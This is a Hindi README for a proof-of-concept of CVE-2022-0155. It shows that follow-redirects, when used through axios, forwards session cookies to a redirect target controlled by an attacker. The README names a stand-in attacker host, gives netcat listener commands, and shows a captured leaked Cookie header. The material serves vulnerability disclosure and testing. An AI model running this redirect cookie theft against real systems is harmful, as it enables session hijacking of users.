
CVE-2022-0155 कुकी चोरी का प्रदर्शन करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, follow-redirects npm पैकेज में HTTP रीडायरेक्ट के माध्यम से, जिसमें ट्रांजिटिव डिपेंडेंसी हमलों के परीक्षण के लिए Express सर्वर और क्लाइंट स्क्रिप्ट शामिल हैं।
यह रिपॉजिटरी CVE-2022-0155 भेद्यता का एक प्रदर्शन समाहित करती है। भेद्यता का पता ranjit-git द्वारा लगाया गया था और इसका विस्तृत विवरण यहाँ उपलब्ध है। इस PoC का उद्देश्य यह प्रदर्शित करना है कि भेद्यता केवल उन परिदृश्यों पर लागू नहीं होती जहाँ follow-redirects का उपयोग प्रत्यक्ष निर्भरता के रूप में किया जाता है, बल्कि तब भी जब follow-redirects का उपयोग axios के माध्यम से अप्रत्यक्ष/संक्रामक निर्भरता के रूप में किया जाता है।
यह भेद्यता follow-redirects npm पैकेज के संस्करण 1.14.7 से पहले के संस्करणों को प्रभावित करती है। Follow-redirects अंतर्निहित HTTP मॉड्यूल को रीडायरेक्ट का अनुसरण करने की क्षमता प्रदान करके विस्तारित करता है।
भेद्यता प्रदर्शित करने के लिए, निम्नलिखित परिदृश्य पर विचार करें:
भेद्यता चरण 3 में निहित है, जहाँ follow-redirects के कमजोर संस्करण चरण 1 के अनुरोध के समान हेडर शामिल करते हैं। यह को, उदाहरण के लिए, पर उपयोगकर्ता के सत्र आईडी को चुराने और उपयोगकर्ता के डेटा तक पहुँच प्राप्त करने की अनुमति देता है।
Cookieहमला हमलावर की https://attackers-webserver.com पर रीडायरेक्ट को नियंत्रित करने की क्षमता पर निर्भर करता है।
PoC में, https://example.com के व्यवहार का अनुकरण करने के लिए एक Express सर्वर का उपयोग किया जाता है।
सर्वर में एक एकल GET API एंडपॉइंट '/redirect' है, जो क्लाइंट को पैरामीटर के रूप में प्रदान किए गए URL पर रीडायरेक्ट करता है।
यह उस परिदृश्य का अनुकरण करता है जहाँ हमलावर उस URL को नियंत्रित कर सकता है जिस पर क्लाइंट रीडायरेक्ट किया गया है।
npm install
node express-server.js
nc -l -v 8182 # or nc -lnvp 8182 on non-mac systems
node client.js
आपको nc वाले टर्मिनल में निम्नलिखित आउटपुट दिखाई देना चाहिए:
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
भेद्यता को nc टर्मिनल में Cookie हेडर की उपस्थिति द्वारा दर्शाया गया है, क्योंकि nc (Netcat) सर्वर का उपयोग हमलावर के वेब सर्वर का प्रतिनिधित्व करने के लिए किया जाता है।